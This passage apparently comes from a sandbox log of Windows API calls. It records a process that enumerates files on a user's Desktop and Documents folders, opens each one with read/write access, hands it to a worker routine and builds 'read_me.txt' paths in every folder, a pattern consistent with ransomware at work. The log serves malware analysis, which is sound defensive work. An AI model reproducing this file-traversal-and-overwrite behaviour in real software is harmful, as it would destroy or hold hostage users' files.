FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7cf46f0, ftCreationTime.dwHighDateTime=0x1d4ccf4, ftLastAccessTime.dwLowDateTime=0x4fea7e0, ftLastAccessTime.dwHighDateTime=0x1d4cb05, ftLastWriteTime.dwLowDateTime=0x4fea7e0, ftLastWriteTime.dwHighDateTime=0x1d4cb05, nFileSizeHigh=0x0, nFileSizeLow=0xe165, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zYvHJFQdfcMoo.mkv", cAlternateFileName="ZYVHJF~1.MKV")) returned 1 [0078.618] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zYvHJFQdfcMoo.mkv") returned 59 [0078.618] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zYvHJFQdfcMoo.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zyvhjfqdfcmoo.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f0 [0078.618] QueueUserWorkItem (Function=0x404e00, Context=0x7f0, Flags=0x0) returned 1 [0078.618] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x659d4570, ftCreationTime.dwHighDateTime=0x1d4cd3a, ftLastAccessTime.dwLowDateTime=0x85073950, ftLastAccessTime.dwHighDateTime=0x1d4ca4e, ftLastWriteTime.dwLowDateTime=0x85073950, ftLastWriteTime.dwHighDateTime=0x1d4ca4e, nFileSizeHigh=0x0, nFileSizeLow=0xe1d2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_5MHU T p.jpg", cAlternateFileName="_5MHUT~1.JPG")) returned 1 [0078.618] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_5MHU T p.jpg") returned 55 [0078.618] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_5MHU T p.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_5mhu t p.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f4 [0078.619] QueueUserWorkItem (Function=0x404e00, Context=0x7f4, Flags=0x0) returned 1 [0078.619] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x659d4570, ftCreationTime.dwHighDateTime=0x1d4cd3a, ftLastAccessTime.dwLowDateTime=0x85073950, ftLastAccessTime.dwHighDateTime=0x1d4ca4e, ftLastWriteTime.dwLowDateTime=0x85073950, ftLastWriteTime.dwHighDateTime=0x1d4ca4e, nFileSizeHigh=0x0, nFileSizeLow=0xe1d2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_5mhu t p.jpg", cAlternateFileName="_5MHUT~1.JPG")) returned 0 [0078.619] FindClose (in: hFindFile=0x32fc288 | out: hFindFile=0x32fc288) returned 1 [0078.619] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\read_me.txt") returned 53 [0078.619] GetProcessHeap () returned 0x540000 [0078.619] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41d20a0 | out: hHeap=0x540000) returned 1 [0078.619] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 38 [0078.619] GetProcessHeap () returned 0x540000 [0078.619] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41e20a8 | out: hHeap=0x540000) returned 1 [0078.627] GetProcessHeap () returned 0x540000 [0078.628] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x44800e8 [0078.628] wnsprintfW (in: pszDest=0x44800e8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6b2d_l45Xgik\\*") returned 56 [0078.628] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6b2d_l45Xgik\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4fd5cd40, ftCreationTime.dwHighDateTime=0x1d4ca3b, ftLastAccessTime.dwLowDateTime=0x1a82cc10, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a82cc10, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc2c8 [0078.629] wnsprintfW (in: pszDest=0x44800e8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6b2d_l45Xgik\\.") returned 56 [0078.629] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4fd5cd40, ftCreationTime.dwHighDateTime=0x1d4ca3b, ftLastAccessTime.dwLowDateTime=0x1a82cc10, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a82cc10, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.629] wnsprintfW (in: pszDest=0x44800e8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6b2d_l45Xgik\\..") returned 57 [0078.629] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6f68480, ftCreationTime.dwHighDateTime=0x1d4cea6, ftLastAccessTime.dwLowDateTime=0x27aee00, ftLastAccessTime.dwHighDateTime=0x1d4c585, ftLastWriteTime.dwLowDateTime=0x27aee00, ftLastWriteTime.dwHighDateTime=0x1d4c585, nFileSizeHigh=0x0, nFileSizeLow=0x15fe9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8SmLhGM4tn987.gif", cAlternateFileName="8SMLHG~1.GIF")) returned 1 [0078.629] wnsprintfW (in: pszDest=0x44800e8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6b2d_l45Xgik\\8SmLhGM4tn987.gif") returned 72 [0078.629] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6b2d_l45Xgik\\8SmLhGM4tn987.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6b2d_l45xgik\\8smlhgm4tn987.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x804 [0078.629] QueueUserWorkItem (Function=0x404e00, Context=0x804, Flags=0x0) returned 1 [0078.629] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6e98610, ftCreationTime.dwHighDateTime=0x1d4cbb5, ftLastAccessTime.dwLowDateTime=0x50245fc0, ftLastAccessTime.dwHighDateTime=0x1d4d04c, ftLastWriteTime.dwLowDateTime=0x50245fc0, ftLastWriteTime.dwHighDateTime=0x1d4d04c, nFileSizeHigh=0x0, nFileSizeLow=0xa33d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jTOlCJvGiF0z.mkv", cAlternateFileName="JTOLCJ~1.MKV")) returned 1 [0078.629] wnsprintfW (in: pszDest=0x44800e8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6b2d_l45Xgik\\jTOlCJvGiF0z.mkv") returned 71 [0078.629] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6b2d_l45Xgik\\jTOlCJvGiF0z.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6b2d_l45xgik\\jtolcjvgif0z.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x808 [0078.629] QueueUserWorkItem (Function=0x404e00, Context=0x808, Flags=0x0) returned 1 [0078.629] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3d6a850, ftCreationTime.dwHighDateTime=0x1d4d574, ftLastAccessTime.dwLowDateTime=0x92fe2a50, ftLastAccessTime.dwHighDateTime=0x1d4cc1f, ftLastWriteTime.dwLowDateTime=0x92fe2a50, ftLastWriteTime.dwHighDateTime=0x1d4cc1f, nFileSizeHigh=0x0, nFileSizeLow=0xdefe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PBB z.jpg", cAlternateFileName="PBBZ~1.JPG")) returned 1 [0078.629] wnsprintfW (in: pszDest=0x44800e8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6b2d_l45Xgik\\PBB z.jpg") returned 64 [0078.629] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6b2d_l45Xgik\\PBB z.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6b2d_l45xgik\\pbb z.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x80c [0078.630] QueueUserWorkItem (Function=0x404e00, Context=0x80c, Flags=0x0) returned 1 [0078.630] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a82cc10, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1a82cc10, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a8eb2f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0078.630] wnsprintfW (in: pszDest=0x44800e8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6b2d_l45Xgik\\read_me.txt") returned 66 [0078.630] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6b2d_l45Xgik\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6b2d_l45xgik\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x810 [0078.630] QueueUserWorkItem (Function=0x404e00, Context=0x810, Flags=0x0) returned 1 [0078.630] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fffd1c0, ftCreationTime.dwHighDateTime=0x1d4d250, ftLastAccessTime.dwLowDateTime=0xd41f90b0, ftLastAccessTime.dwHighDateTime=0x1d4cfac, ftLastWriteTime.dwLowDateTime=0xd41f90b0, ftLastWriteTime.dwHighDateTime=0x1d4cfac, nFileSizeHigh=0x0, nFileSizeLow=0x17810, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="z n4tn7vs-.doc", cAlternateFileName="ZN4TN7~1.DOC")) returned 0 [0078.630] FindClose (in: hFindFile=0x32fc2c8 | out: hFindFile=0x32fc2c8) returned 1 [0078.630] wnsprintfW (in: pszDest=0x44800e8, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6b2d_l45Xgik\\read_me.txt") returned 66 [0078.630] GetProcessHeap () returned 0x540000 [0078.630] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x44800e8 | out: hHeap=0x540000) returned 1 [0078.630] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 39 [0078.630] GetProcessHeap () returned 0x540000 [0078.630] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42020b8 | out: hHeap=0x540000) returned 1 [0078.634] GetProcessHeap () returned 0x540000 [0078.635] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x44800e8 [0078.635] wnsprintfW (in: pszDest=0x44800e8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\*") returned 52 [0078.635] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5355e30, ftCreationTime.dwHighDateTime=0x1d4cfb9, ftLastAccessTime.dwLowDateTime=0x1a9a99d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a9a99d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc2c8 [0078.635] wnsprintfW (in: pszDest=0x44800e8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\.") returned 52 [0078.635] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5355e30, ftCreationTime.dwHighDateTime=0x1d4cfb9, ftLastAccessTime.dwLowDateTime=0x1a9a99d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a9a99d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.635] wnsprintfW (in: pszDest=0x44800e8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\..") returned 53 [0078.635] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdbad7960, ftCreationTime.dwHighDateTime=0x1d4c641, ftLastAccessTime.dwLowDateTime=0x1a983870, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a983870, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9l6YkE2Ncx", cAlternateFileName="9L6YKE~1")) returned 1 [0078.635] wnsprintfW (in: pszDest=0x44800e8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\9l6YkE2Ncx") returned 61 [0078.635] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee319770, ftCreationTime.dwHighDateTime=0x1d4c7c1, ftLastAccessTime.dwLowDateTime=0x68bd72d0, ftLastAccessTime.dwHighDateTime=0x1d4d1bc, ftLastWriteTime.dwLowDateTime=0x68bd72d0, ftLastWriteTime.dwHighDateTime=0x1d4d1bc, nFileSizeHigh=0x0, nFileSizeLow=0x89c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fmhSZOen-C.gif", cAlternateFileName="FMHSZO~1.GIF")) returned 1 [0078.635] wnsprintfW (in: pszDest=0x44800e8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\fmhSZOen-C.gif") returned 65 [0078.635] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\fmhSZOen-C.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p8ul_erv\\fmhszoen-c.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x818 [0078.635] QueueUserWorkItem (Function=0x404e00, Context=0x818, Flags=0x0) returned 1 [0078.635] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2fbd5a0, ftCreationTime.dwHighDateTime=0x1d4c9af, ftLastAccessTime.dwLowDateTime=0x1a9a99d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a9a99d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ldy6l2o5 ZKC8QGIhm", cAlternateFileName="LDY6L2~1")) returned 1 [0078.635] wnsprintfW (in: pszDest=0x44800e8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\Ldy6l2o5 ZKC8QGIhm") returned 69 [0078.635] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1825d2d0, ftCreationTime.dwHighDateTime=0x1d4ca0b, ftLastAccessTime.dwLowDateTime=0x636572a0, ftLastAccessTime.dwHighDateTime=0x1d4cbe1, ftLastWriteTime.dwLowDateTime=0x636572a0, ftLastWriteTime.dwHighDateTime=0x1d4cbe1, nFileSizeHigh=0x0, nFileSizeLow=0x2439, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="n7IO5w0McAOmiXJ VZMN.bmp", cAlternateFileName="N7IO5W~1.BMP")) returned 1 [0078.636] wnsprintfW (in: pszDest=0x44800e8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\n7IO5w0McAOmiXJ VZMN.bmp") returned 75 [0078.636] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\n7IO5w0McAOmiXJ VZMN.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p8ul_erv\\n7io5w0mcaomixj vzmn.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x81c [0078.636] QueueUserWorkItem (Function=0x404e00, Context=0x81c, Flags=0x0) returned 1 [0078.636] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a9a99d0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1a9a99d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a9a99d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0078.636] wnsprintfW (in: pszDest=0x44800e8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\read_me.txt") returned 62 [0078.636] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p8ul_erv\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x820 [0078.636] QueueUserWorkItem (Function=0x404e00, Context=0x820, Flags=0x0) returned 1 [0078.636] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81439d80, ftCreationTime.dwHighDateTime=0x1d4d355, ftLastAccessTime.dwLowDateTime=0x2214b080, ftLastAccessTime.dwHighDateTime=0x1d4cd86, ftLastWriteTime.dwLowDateTime=0x2214b080, ftLastWriteTime.dwHighDateTime=0x1d4cd86, nFileSizeHigh=0x0, nFileSizeLow=0xb4f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wVQUzQ0iaLqLlHr.gif", cAlternateFileName="WVQUZQ~1.GIF")) returned 1 [0078.636] wnsprintfW (in: pszDest=0x44800e8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\wVQUzQ0iaLqLlHr.gif") returned 70 [0078.636] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\wVQUzQ0iaLqLlHr.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p8ul_erv\\wvquzq0ialqllhr.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x824 [0078.636] QueueUserWorkItem (Function=0x404e00, Context=0x824, Flags=0x0) returned 1 [0078.636] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf91780f0, ftCreationTime.dwHighDateTime=0x1d4d22f, ftLastAccessTime.dwLowDateTime=0x1a9a99d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a9a99d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zplfC7_zsJ", cAlternateFileName="ZPLFC7~1")) returned 1 [0078.636] wnsprintfW (in: pszDest=0x44800e8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\zplfC7_zsJ") returned 61 [0078.636] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5216e5c0, ftCreationTime.dwHighDateTime=0x1d4c62c, ftLastAccessTime.dwLowDateTime=0xc946e740, ftLastAccessTime.dwHighDateTime=0x1d4c536, ftLastWriteTime.dwLowDateTime=0xc946e740, ftLastWriteTime.dwHighDateTime=0x1d4c536, nFileSizeHigh=0x0, nFileSizeLow=0x14468, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_tB9SFpbf7HeKc.gif", cAlternateFileName="_TB9SF~1.GIF")) returned 1 [0078.636] wnsprintfW (in: pszDest=0x44800e8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\_tB9SFpbf7HeKc.gif") returned 69 [0078.636] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\_tB9SFpbf7HeKc.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p8ul_erv\\_tb9sfpbf7hekc.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x828 [0078.637] QueueUserWorkItem (Function=0x404e00, Context=0x828, Flags=0x0) returned 1 [0078.637] FindNextFileW (in: hFindFile=0x32fc2c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5216e5c0, ftCreationTime.dwHighDateTime=0x1d4c62c, ftLastAccessTime.dwLowDateTime=0xc946e740, ftLastAccessTime.dwHighDateTime=0x1d4c536, ftLastWriteTime.dwLowDateTime=0xc946e740, ftLastWriteTime.dwHighDateTime=0x1d4c536, nFileSizeHigh=0x0, nFileSizeLow=0x14468, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_tb9sfpbf7hekc.gif", cAlternateFileName="_TB9SF~1.GIF")) returned 0 [0078.637] FindClose (in: hFindFile=0x32fc2c8 | out: hFindFile=0x32fc2c8) returned 1 [0078.637] wnsprintfW (in: pszDest=0x44800e8, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\read_me.txt") returned 62 [0078.637] GetProcessHeap () returned 0x540000 [0078.637] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x44800e8 | out: hHeap=0x540000) returned 1 [0078.637] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 40 [0078.637] GetProcessHeap () returned 0x540000 [0078.637] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42120c0 | out: hHeap=0x540000) returned 1 [0078.714] GetProcessHeap () returned 0x540000 [0078.714] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42620e8 [0078.714] wnsprintfW (in: pszDest=0x42620e8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*") returned 64 [0078.714] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x1ab00630, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ab00630, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0078.714] wnsprintfW (in: pszDest=0x42620e8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\.") returned 64 [0078.714] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, 